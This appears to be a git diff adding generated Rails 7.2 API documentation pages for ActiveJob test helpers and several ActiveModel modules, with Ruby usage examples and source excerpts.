If a block is passed, asserts that the block will not cause any job to be enqueued.

+ +
def test_jobs_again
+  assert_no_enqueued_jobs do
+    # No job should be enqueued from this block
+  end
+end
+
+ +

Asserts that no jobs of a specific kind are enqueued by passing :only option.

+ +
def test_no_logging
+  assert_no_enqueued_jobs only: LoggingJob do
+    HelloJob.perform_later('jeremy')
+  end
+end
+
+ +

Asserts that no jobs except specific class are enqueued by passing :except option.

+ +
def test_no_logging
+  assert_no_enqueued_jobs except: HelloJob do
+    HelloJob.perform_later('jeremy')
+  end
+end
+
+ +

:only and :except options accept Class, Array of Class, or Proc. When passed a Proc, a hash containing the job’s class and it’s argument are passed as argument.

+ +

Asserts that no jobs are enqueued to a specific queue by passing :queue option

+ +
def test_no_logging
+  assert_no_enqueued_jobs queue: 'default' do
+    LoggingJob.set(queue: :some_queue).perform_later
+  end
+end
+
+ +

Note: This assertion is simply a shortcut for:

+ +
assert_enqueued_jobs 0, &block
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 186
+    def assert_no_enqueued_jobs(only: nil, except: nil, queue: nil, &block)
+      require_active_job_test_adapter!("assert_no_enqueued_jobs")
+
+      assert_enqueued_jobs 0, only: only, except: except, queue: queue, &block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_performed_jobs(only: nil, except: nil, queue: nil, &block) + +

+ + +
+

Asserts that no jobs have been performed.

+ +
def test_jobs
+  assert_no_performed_jobs
+
+  perform_enqueued_jobs do
+    HelloJob.perform_later('matthew')
+    assert_performed_jobs 1
+  end
+end
+
+ +

If a block is passed, asserts that the block will not cause any job to be performed.

+ +
def test_jobs_again
+  assert_no_performed_jobs do
+    # No job should be performed from this block
+  end
+end
+
+ +

The block form supports filtering. If the :only option is specified, then only the listed job(s) will not be performed.

+ +
def test_no_logging
+  assert_no_performed_jobs only: LoggingJob do
+    HelloJob.perform_later('jeremy')
+  end
+end
+
+ +

Also if the :except option is specified, then the job(s) except specific class will not be performed.

+ +
def test_no_logging
+  assert_no_performed_jobs except: HelloJob do
+    HelloJob.perform_later('jeremy')
+  end
+end
+
+ +

:only and :except options accept Class, Array of Class, or Proc. When passed a Proc, an instance of the job will be passed as argument.

+ +

If the :queue option is specified, then only the job(s) enqueued to a specific queue will not be performed.

+ +
def test_assert_no_performed_jobs_with_queue_option
+  assert_no_performed_jobs queue: :some_queue do
+    HelloJob.set(queue: :other_queue).perform_later("jeremy")
+  end
+end
+
+ +

Note: This assertion is simply a shortcut for:

+ +
assert_performed_jobs 0, &block
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 348
+    def assert_no_performed_jobs(only: nil, except: nil, queue: nil, &block)
+      require_active_job_test_adapter!("assert_no_performed_jobs")
+
+      assert_performed_jobs 0, only: only, except: except, queue: queue, &block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_performed_jobs(number, only: nil, except: nil, queue: nil, &block) + +

+ + +
+

Asserts that the number of performed jobs matches the given number. If no block is passed, perform_enqueued_jobs must be called around or after the job call.

+ +
def test_jobs
+  assert_performed_jobs 0
+
+  perform_enqueued_jobs do
+    HelloJob.perform_later('xavier')
+  end
+  assert_performed_jobs 1
+
+  HelloJob.perform_later('yves')
+
+  perform_enqueued_jobs
+
+  assert_performed_jobs 2
+end
+
+ +

If a block is passed, asserts that the block will cause the specified number of jobs to be performed.

+ +
def test_jobs_again
+  assert_performed_jobs 1 do
+    HelloJob.perform_later('robin')
+  end
+
+  assert_performed_jobs 2 do
+    HelloJob.perform_later('carlos')
+    HelloJob.perform_later('sean')
+  end
+end
+
+ +

This method also supports filtering. If the :only option is specified, then only the listed job(s) will be performed.

+ +
def test_hello_job
+  assert_performed_jobs 1, only: HelloJob do
+    HelloJob.perform_later('jeremy')
+    LoggingJob.perform_later
+  end
+end
+
+ +

Also if the :except option is specified, then the job(s) except specific class will be performed.

+ +
def test_hello_job
+  assert_performed_jobs 1, except: LoggingJob do
+    HelloJob.perform_later('jeremy')
+    LoggingJob.perform_later
+  end
+end
+
+ +

An array may also be specified, to support testing multiple jobs.

+ +
def test_hello_and_logging_jobs
+  assert_nothing_raised do
+    assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
+      HelloJob.perform_later('jeremy')
+      LoggingJob.perform_later('stewie')
+      RescueJob.perform_later('david')
+    end
+  end
+end
+
+ +

A proc may also be specified. When passed a Proc, the job’s instance will be passed as argument.

+ +
def test_hello_and_logging_jobs
+  assert_nothing_raised do
+    assert_performed_jobs(1, only: ->(job) { job.is_a?(HelloJob) }) do
+      HelloJob.perform_later('jeremy')
+      LoggingJob.perform_later('stewie')
+      RescueJob.perform_later('david')
+    end
+  end
+end
+
+ +

If the :queue option is specified, then only the job(s) enqueued to a specific queue will be performed.

+ +
def test_assert_performed_jobs_with_queue_option
+  assert_performed_jobs 1, queue: :some_queue do
+    HelloJob.set(queue: :some_queue).perform_later("jeremy")
+    HelloJob.set(queue: :other_queue).perform_later("bogdan")
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 278
+    def assert_performed_jobs(number, only: nil, except: nil, queue: nil, &block)
+      require_active_job_test_adapter!("assert_performed_jobs")
+
+      if block_given?
+        original_count = performed_jobs.size
+
+        perform_enqueued_jobs(only: only, except: except, queue: queue, &block)
+
+        new_count = performed_jobs.size
+
+        performed_jobs_size = new_count - original_count
+      else
+        performed_jobs_size = performed_jobs_with(only: only, except: except, queue: queue).count
+      end
+
+      assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_performed_with(job: nil, args: nil, at: nil, queue: nil, priority: nil, &block) + +

+ + +
+

Asserts that the job has been performed with the given arguments.

+ +
def test_assert_performed_with
+  MyJob.perform_later(1,2,3)
+
+  perform_enqueued_jobs
+
+  assert_performed_with(job: MyJob, args: [1,2,3])
+
+  MyJob.set(wait_until: Date.tomorrow.noon, queue: "my_queue").perform_later
+
+  perform_enqueued_jobs
+
+  assert_performed_with(at: Date.tomorrow.noon, queue: "my_queue")
+end
+
+ +

The given arguments may also be specified as matcher procs that return a boolean value indicating whether a job’s attribute meets certain criteria.

+ +

For example, a proc can be used to match a range of times:

+ +
def test_assert_performed_with
+  at_matcher = ->(job_at) { (Date.yesterday..Date.tomorrow).cover?(job_at) }
+
+  MyJob.set(wait_until: Date.today.noon).perform_later
+
+  perform_enqueued_jobs
+
+  assert_performed_with(job: MyJob, at: at_matcher)
+end
+
+ +

A proc can also be used to match a subset of a job’s args:

+ +
def test_assert_performed_with
+  args_matcher = ->(job_args) { job_args[0].key?(:foo) }
+
+  MyJob.perform_later(foo: "bar", other_arg: "No need to check in the test")
+
+  perform_enqueued_jobs
+
+  assert_performed_with(job: MyJob, args: args_matcher)
+end
+
+ +

If a block is passed, that block performs all of the jobs that were enqueued throughout the duration of the block and asserts that the job has been performed with the given arguments in the block.

+ +
def test_assert_performed_with
+  assert_performed_with(job: MyJob, args: [1,2,3]) do
+    MyJob.perform_later(1,2,3)
+  end
+
+  assert_performed_with(job: MyJob, at: Date.tomorrow.noon) do
+    MyJob.set(wait_until: Date.tomorrow.noon).perform_later
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 510
+    def assert_performed_with(job: nil, args: nil, at: nil, queue: nil, priority: nil, &block)
+      require_active_job_test_adapter!("assert_performed_with")
+
+      expected = { job: job, args: args, at: at, queue: queue, priority: priority }.compact
+      expected_args = prepare_args_for_assertion(expected)
+      potential_matches = []
+
+      if block_given?
+        original_performed_jobs_count = performed_jobs.count
+
+        perform_enqueued_jobs(&block)
+
+        jobs = performed_jobs.drop(original_performed_jobs_count)
+      else
+        jobs = performed_jobs
+      end
+
+      matching_job = jobs.find do |enqueued_job|
+        deserialized_job = deserialize_args_for_assertion(enqueued_job)
+        potential_matches << deserialized_job
+
+        expected_args.all? do |key, value|
+          if value.respond_to?(:call)
+            value.call(deserialized_job[key])
+          else
+            value == deserialized_job[key]
+          end
+        end
+      end
+
+      matching_class = potential_matches.select do |enqueued_job|
+        enqueued_job["job_class"] == job.to_s
+      end
+
+      message = +"No performed job found with #{expected}"
+      if potential_matches.empty?
+        message << "\n\nNo jobs were performed"
+      elsif matching_class.empty?
+        message << "\n\nNo jobs of class #{expected[:job]} were performed, job classes performed: "
+        message << potential_matches.map { |job| job["job_class"] }.join(", ")
+      else
+        message << "\n\nPotential matches: #{matching_class.join("\n")}"
+      end
+
+      assert matching_job, message
+
+      instantiate_job(matching_job)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + perform_enqueued_jobs(only: nil, except: nil, queue: nil, at: nil, &block) + +

+ + +
+

Performs all enqueued jobs. If a block is given, performs all of the jobs that were enqueued throughout the duration of the block. If a block is not given, performs all of the enqueued jobs up to this point in the test.

+ +
def test_perform_enqueued_jobs
+  perform_enqueued_jobs do
+    MyJob.perform_later(1, 2, 3)
+  end
+  assert_performed_jobs 1
+end
+
+def test_perform_enqueued_jobs_without_block
+  MyJob.perform_later(1, 2, 3)
+
+  perform_enqueued_jobs
+
+  assert_performed_jobs 1
+end
+
+ +

This method also supports filtering. If the :only option is specified, then only the listed job(s) will be performed.

+ +
def test_perform_enqueued_jobs_with_only
+  perform_enqueued_jobs(only: MyJob) do
+    MyJob.perform_later(1, 2, 3) # will be performed
+    HelloJob.perform_later(1, 2, 3) # will not be performed
+  end
+  assert_performed_jobs 1
+end
+
+ +

Also if the :except option is specified, then the job(s) except specific class will be performed.

+ +
def test_perform_enqueued_jobs_with_except
+  perform_enqueued_jobs(except: HelloJob) do
+    MyJob.perform_later(1, 2, 3) # will be performed
+    HelloJob.perform_later(1, 2, 3) # will not be performed
+  end
+  assert_performed_jobs 1
+end
+
+ +

:only and :except options accept Class, Array of Class, or Proc. When passed a Proc, an instance of the job will be passed as argument.

+ +

If the :queue option is specified, then only the job(s) enqueued to a specific queue will be performed.

+ +
def test_perform_enqueued_jobs_with_queue
+  perform_enqueued_jobs queue: :some_queue do
+    MyJob.set(queue: :some_queue).perform_later(1, 2, 3) # will be performed
+    HelloJob.set(queue: :other_queue).perform_later(1, 2, 3) # will not be performed
+  end
+  assert_performed_jobs 1
+end
+
+ +

If the :at option is specified, then only jobs that have been enqueued to run at or before the given time will be performed. This includes jobs that have been enqueued without a time.

+ +

If queue_adapter_for_test is overridden to return a different adapter, perform_enqueued_jobs will merely execute the block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 620
+    def perform_enqueued_jobs(only: nil, except: nil, queue: nil, at: nil, &block)
+      unless block_given?
+        require_active_job_test_adapter!("perform_enqueued_jobs (without a block)")
+        return flush_enqueued_jobs(only: only, except: except, queue: queue, at: at)
+      end
+
+      return _assert_nothing_raised_or_warn("perform_enqueued_jobs", &block) unless using_test_adapter?
+
+      validate_option(only: only, except: except)
+
+      old_perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs
+      old_perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs
+      old_filter = queue_adapter.filter
+      old_reject = queue_adapter.reject
+      old_queue = queue_adapter.queue
+      old_at = queue_adapter.at
+
+      begin
+        queue_adapter.perform_enqueued_jobs = true
+        queue_adapter.perform_enqueued_at_jobs = true
+        queue_adapter.filter = only
+        queue_adapter.reject = except
+        queue_adapter.queue = queue
+        queue_adapter.at = at
+
+        _assert_nothing_raised_or_warn("perform_enqueued_jobs", &block)
+      ensure
+        queue_adapter.perform_enqueued_jobs = old_perform_enqueued_jobs
+        queue_adapter.perform_enqueued_at_jobs = old_perform_enqueued_at_jobs
+        queue_adapter.filter = old_filter
+        queue_adapter.reject = old_reject
+        queue_adapter.queue = old_queue
+        queue_adapter.at = old_at
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + queue_adapter() + +

+ + +
+

Accesses the queue_adapter set by ActiveJob::Base.

+ +
def test_assert_job_has_custom_queue_adapter_set
+  assert_instance_of CustomQueueAdapter, HelloJob.queue_adapter
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 661
+    def queue_adapter
+      ActiveJob::Base.queue_adapter
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + queue_adapter_for_test() + +

+ + +
+

Returns a queue adapter instance to use with all Active Job test helpers. By default, returns an instance of ActiveJob::QueueAdapters::TestAdapter. Override this method to specify a different adapter. The adapter must implement the same interface as ActiveJob::QueueAdapters::TestAdapter.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 66
+    def queue_adapter_for_test
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/TestHelper/TestQueueAdapter.html b/src/7.2/classes/ActiveJob/TestHelper/TestQueueAdapter.html new file mode 100644 index 0000000000..ca4bed7df8 --- /dev/null +++ b/src/7.2/classes/ActiveJob/TestHelper/TestQueueAdapter.html @@ -0,0 +1,67 @@ +--- +title: ActiveJob::TestHelper::TestQueueAdapter +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/TestHelper/TestQueueAdapter/ClassMethods.html b/src/7.2/classes/ActiveJob/TestHelper/TestQueueAdapter/ClassMethods.html new file mode 100644 index 0000000000..10f18533fb --- /dev/null +++ b/src/7.2/classes/ActiveJob/TestHelper/TestQueueAdapter/ClassMethods.html @@ -0,0 +1,179 @@ +--- +title: ActiveJob::TestHelper::TestQueueAdapter::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + disable_test_adapter() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 27
+        def disable_test_adapter
+          self._test_adapter = nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enable_test_adapter(test_adapter) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 31
+        def enable_test_adapter(test_adapter)
+          self._test_adapter = test_adapter
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + queue_adapter() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 23
+        def queue_adapter
+          self._test_adapter.nil? ? super : self._test_adapter
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/VERSION.html b/src/7.2/classes/ActiveJob/VERSION.html new file mode 100644 index 0000000000..edda6bf3d4 --- /dev/null +++ b/src/7.2/classes/ActiveJob/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActiveJob::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel.html b/src/7.2/classes/ActiveModel.html new file mode 100644 index 0000000000..3060e0ce47 --- /dev/null +++ b/src/7.2/classes/ActiveModel.html @@ -0,0 +1,693 @@ +--- +title: ActiveModel +layout: default +--- +
+ +
+
+ +
+ +

Active Model – model interfaces for Rails

+ +

Active Model provides a known set of interfaces for usage in model classes. They allow for Action Pack helpers to interact with non-Active Record models, for example. Active Model also helps with building custom ORMs for use outside of the Rails framework.

+ +

You can read more about Active Model in the Active Model Basics guide.

+ +

Prior to Rails 3.0, if a plugin or gem developer wanted to have an object interact with Action Pack helpers, it was required to either copy chunks of code from Rails, or monkey patch entire helpers to make them handle objects that did not exactly conform to the Active Record interface. This would result in code duplication and fragile applications that broke on upgrades. Active Model solves this by defining an explicit API. You can read more about the API in ActiveModel::Lint::Tests.

+ +

Active Model provides a default module that implements the basic API required to integrate with Action Pack out of the box: ActiveModel::API.

+ +
class Person
+  include ActiveModel::API
+
+  attr_accessor :name, :age
+  validates_presence_of :name
+end
+
+person = Person.new(name: 'bob', age: '18')
+person.name   # => 'bob'
+person.age    # => '18'
+person.valid? # => true
+
+ +

It includes model name introspections, conversions, translations and validations, resulting in a class suitable to be used with Action Pack. See ActiveModel::API for more examples.

+ +

Active Model also provides the following functionality to have ORM-like behavior out of the box:

+
  • +

    Add attribute magic to objects

    + +
    class Person
    +  include ActiveModel::AttributeMethods
    +
    +  attribute_method_prefix 'clear_'
    +  define_attribute_methods :name, :age
    +
    +  attr_accessor :name, :age
    +
    +  def clear_attribute(attr)
    +    send("#{attr}=", nil)
    +  end
    +end
    +
    +person = Person.new
    +person.clear_name
    +person.clear_age
    +
    + +

    Learn more

    +
  • +

    Callbacks for certain operations

    + +
    class Person
    +  extend ActiveModel::Callbacks
    +  define_model_callbacks :create
    +
    +  def create
    +    run_callbacks :create do
    +      # Your create action methods here
    +    end
    +  end
    +end
    +
    + +

    This generates before_create, around_create and after_create class methods that wrap your create method.

    + +

    Learn more

    +
  • +

    Tracking value changes

    + +
    class Person
    +  include ActiveModel::Dirty
    +
    +  define_attribute_methods :name
    +
    +  def name
    +    @name
    +  end
    +
    +  def name=(val)
    +    name_will_change! unless val == @name
    +    @name = val
    +  end
    +
    +  def save
    +    # do persistence work
    +    changes_applied
    +  end
    +end
    +
    +person = Person.new
    +person.name             # => nil
    +person.changed?         # => false
    +person.name = 'bob'
    +person.changed?         # => true
    +person.changed          # => ['name']
    +person.changes          # => { 'name' => [nil, 'bob'] }
    +person.save
    +person.name = 'robert'
    +person.save
    +person.previous_changes # => {'name' => ['bob, 'robert']}
    +
    + +

    Learn more

    +
  • +

    Adding errors interface to objects

    + +

    Exposing error messages allows objects to interact with Action Pack helpers seamlessly.

    + +
    class Person
    +
    +  def initialize
    +    @errors = ActiveModel::Errors.new(self)
    +  end
    +
    +  attr_accessor :name
    +  attr_reader   :errors
    +
    +  def validate!
    +    errors.add(:name, "cannot be nil") if name.nil?
    +  end
    +
    +  def self.human_attribute_name(attr, options = {})
    +    "Name"
    +  end
    +end
    +
    +person = Person.new
    +person.name = nil
    +person.validate!
    +person.errors.full_messages
    +# => ["Name cannot be nil"]
    +
    + +

    Learn more

    +
  • +

    Model name introspection

    + +
    class NamedPerson
    +  extend ActiveModel::Naming
    +end
    +
    +NamedPerson.model_name.name   # => "NamedPerson"
    +NamedPerson.model_name.human  # => "Named person"
    +
    + +

    Learn more

    +
  • +

    Making objects serializable

    + +

    ActiveModel::Serialization provides a standard interface for your object to provide to_json serialization.

    + +
    class SerialPerson
    +  include ActiveModel::Serialization
    +
    +  attr_accessor :name
    +
    +  def attributes
    +    {'name' => name}
    +  end
    +end
    +
    +s = SerialPerson.new
    +s.serializable_hash   # => {"name"=>nil}
    +
    +class SerialPerson
    +  include ActiveModel::Serializers::JSON
    +end
    +
    +s = SerialPerson.new
    +s.to_json             # => "{\"name\":null}"
    +
    + +

    Learn more

    +
  • +

    Internationalization (i18n) support

    + +
    class Person
    +  extend ActiveModel::Translation
    +end
    +
    +Person.human_attribute_name('my_attribute')
    +# => "My attribute"
    +
    + +

    Learn more

    +
  • +

    Validation support

    + +
    class Person
    +  include ActiveModel::Validations
    +
    +  attr_accessor :first_name, :last_name
    +
    +  validates_each :first_name, :last_name do |record, attr, value|
    +    record.errors.add attr, "starts with z." if value.start_with?("z")
    +  end
    +end
    +
    +person = Person.new
    +person.first_name = 'zoolander'
    +person.valid?  # => false
    +
    + +

    Learn more

    +
  • +

    Custom validators

    + +
    class HasNameValidator < ActiveModel::Validator
    +  def validate(record)
    +    record.errors.add(:name, "must exist") if record.name.blank?
    +  end
    +end
    +
    +class ValidatorPerson
    +  include ActiveModel::Validations
    +  validates_with HasNameValidator
    +  attr_accessor :name
    +end
    +
    +p = ValidatorPerson.new
    +p.valid?                  # =>  false
    +p.errors.full_messages    # => ["Name must exist"]
    +p.name = "Bob"
    +p.valid?                  # =>  true
    +
    + +

    Learn more

    +
+ +

Download and installation

+ +

The latest version of Active Model can be installed with RubyGems:

+ +
$ gem install activemodel
+
+ +

Source code can be downloaded as part of the Rails project on GitHub

+ + +

License

+ +

Active Model is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model.rb, line 76
+  def self.eager_load!
+    super
+    ActiveModel::Serializers.eager_load!
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Active Model as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Active Model as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/version.rb, line 7
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/API.html b/src/7.2/classes/ActiveModel/API.html new file mode 100644 index 0000000000..5a9b2eefe7 --- /dev/null +++ b/src/7.2/classes/ActiveModel/API.html @@ -0,0 +1,247 @@ +--- +title: ActiveModel::API +layout: default +--- +
+ +
+
+ +
+ +

Active Model API

+ +

Includes the required interface for an object to interact with Action Pack and Action View, using different Active Model modules. It includes model name introspections, conversions, translations, and validations. Besides that, it allows you to initialize the object with a hash of attributes, pretty much like Active Record does.

+ +

A minimal implementation could be:

+ +
class Person
+  include ActiveModel::API
+  attr_accessor :name, :age
+end
+
+person = Person.new(name: 'bob', age: '18')
+person.name # => "bob"
+person.age  # => "18"
+
+ +

Note that, by default, ActiveModel::API implements persisted? to return false, which is the most common case. You may want to override it in your class to simulate a different scenario:

+ +
class Person
+  include ActiveModel::API
+  attr_accessor :id, :name
+
+  def persisted?
+    self.id.present?
+  end
+end
+
+person = Person.new(id: 1, name: 'bob')
+person.persisted? # => true
+
+ +

Also, if for some reason you need to run code on initialize ( ::new ), make sure you call super if you want the attributes hash initialization to happen.

+ +
class Person
+  include ActiveModel::API
+  attr_accessor :id, :name, :omg
+
+  def initialize(attributes={})
+    super
+    @omg ||= true
+  end
+end
+
+person = Person.new(id: 1, name: 'bob')
+person.omg # => true
+
+ +

For more detailed information on other functionalities available, please refer to the specific modules included in ActiveModel::API (see below).

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(attributes = {}) + +

+ + +
+

Initializes a new model with the given params.

+ +
class Person
+  include ActiveModel::API
+  attr_accessor :name, :age
+end
+
+person = Person.new(name: 'bob', age: '18')
+person.name # => "bob"
+person.age  # => "18"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/api.rb, line 80
+    def initialize(attributes = {})
+      assign_attributes(attributes) if attributes
+
+      super()
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + persisted?() + +

+ + +
+

Indicates if the model is persisted. Default is false.

+ +
class Person
+  include ActiveModel::API
+  attr_accessor :id, :name
+end
+
+person = Person.new(id: 1, name: 'bob')
+person.persisted? # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/api.rb, line 95
+    def persisted?
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/AttributeAssignment.html b/src/7.2/classes/ActiveModel/AttributeAssignment.html new file mode 100644 index 0000000000..45395d1a50 --- /dev/null +++ b/src/7.2/classes/ActiveModel/AttributeAssignment.html @@ -0,0 +1,155 @@ +--- +title: ActiveModel::AttributeAssignment +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assign_attributes(new_attributes) + +

+ + +
+

Allows you to set all the attributes by passing in a hash of attributes with keys matching the attribute names.

+ +

If the passed hash responds to permitted? method and the return value of this method is false an ActiveModel::ForbiddenAttributesError exception is raised.

+ +
class Cat
+  include ActiveModel::AttributeAssignment
+  attr_accessor :name, :status
+end
+
+cat = Cat.new
+cat.assign_attributes(name: "Gorby", status: "yawning")
+cat.name # => 'Gorby'
+cat.status # => 'yawning'
+cat.assign_attributes(status: "sleeping")
+cat.name # => 'Gorby'
+cat.status # => 'sleeping'
+
+
+ + + +
+ Also aliased as: attributes= +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_assignment.rb, line 28
+    def assign_attributes(new_attributes)
+      unless new_attributes.respond_to?(:each_pair)
+        raise ArgumentError, "When assigning attributes, you must pass a hash as an argument, #{new_attributes.class} passed."
+      end
+      return if new_attributes.empty?
+
+      _assign_attributes(sanitize_for_mass_assignment(new_attributes))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attributes=(new_attributes) + +

+ + +
+ +
+ + + + + +
+ Alias for: assign_attributes +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/AttributeMethods.html b/src/7.2/classes/ActiveModel/AttributeMethods.html new file mode 100644 index 0000000000..a1e4029e93 --- /dev/null +++ b/src/7.2/classes/ActiveModel/AttributeMethods.html @@ -0,0 +1,318 @@ +--- +title: ActiveModel::AttributeMethods +layout: default +--- +
+ +
+
+ +
+ +

Active Model Attribute Methods

+ +

Provides a way to add prefixes and suffixes to your methods as well as handling the creation of ActiveRecord::Base - like class methods such as table_name.

+ +

The requirements to implement ActiveModel::AttributeMethods are to:

+
  • +

    include ActiveModel::AttributeMethods in your class.

    +
  • +

    Call each of its methods you want to add, such as attribute_method_suffix or attribute_method_prefix.

    +
  • +

    Call define_attribute_methods after the other methods are called.

    +
  • +

    Define the various generic _attribute methods that you have declared.

    +
  • +

    Define an attributes method which returns a hash with each attribute name in your model as hash key and the attribute value as hash value. Hash keys must be strings.

    +
+ +

A minimal implementation could be:

+ +
class Person
+  include ActiveModel::AttributeMethods
+
+  attribute_method_affix  prefix: 'reset_', suffix: '_to_default!'
+  attribute_method_suffix '_contrived?'
+  attribute_method_prefix 'clear_'
+  define_attribute_methods :name
+
+  attr_accessor :name
+
+  def attributes
+    { 'name' => @name }
+  end
+
+  private
+    def attribute_contrived?(attr)
+      true
+    end
+
+    def clear_attribute(attr)
+      send("#{attr}=", nil)
+    end
+
+    def reset_attribute_to_default!(attr)
+      send("#{attr}=", 'Default Name')
+    end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
CALL_COMPILABLE_REGEXP=/\A[a-zA-Z_]\w*[!?]?\z/
NAME_COMPILABLE_REGEXP=/\A[a-zA-Z_]\w*[!?=]?\z/
+ + + + + + + +

Instance Public methods

+ +
+

+ + attribute_missing(match, ...) + +

+ + +
+

attribute_missing is like method_missing, but for attributes. When method_missing is called we check to see if there is a matching attribute method. If so, we tell attribute_missing to dispatch the attribute. This method can be overloaded to customize the behavior.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 520
+    def attribute_missing(match, ...)
+      __send__(match.proxy_target, match.attr_name, ...)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_missing(method, ...) + +

+ + +
+

Allows access to the object attributes, which are held in the hash returned by attributes, as though they were first-class methods. So a Person class with a name attribute can for example use Person#name and Person#name= and never directly use the attributes hash – except for multiple assignments with ActiveRecord::Base#attributes=.

+ +

It’s also possible to instantiate related objects, so a Client class belonging to the clients table with a master_id foreign key can instantiate master through Client#master.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 507
+    def method_missing(method, ...)
+      if respond_to_without_attributes?(method, true)
+        super
+      else
+        match = matched_attribute_method(method.name)
+        match ? attribute_missing(match, ...) : super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to?(method, include_private_methods = false) + +

+ + +
+ +
+ + + +
+ Also aliased as: respond_to_without_attributes? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 528
+    def respond_to?(method, include_private_methods = false)
+      if super
+        true
+      elsif !include_private_methods && super(method, true)
+        # If we're here then we haven't found among non-private methods
+        # but found among all methods. Which means that the given method is private.
+        false
+      else
+        !matched_attribute_method(method.to_s).nil?
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to_without_attributes?(method, include_private_methods = false) + +

+ + +
+

A Person instance with a name attribute can ask person.respond_to?(:name), person.respond_to?(:name=), and person.respond_to?(:name?) which will all return true.

+
+ + + + + +
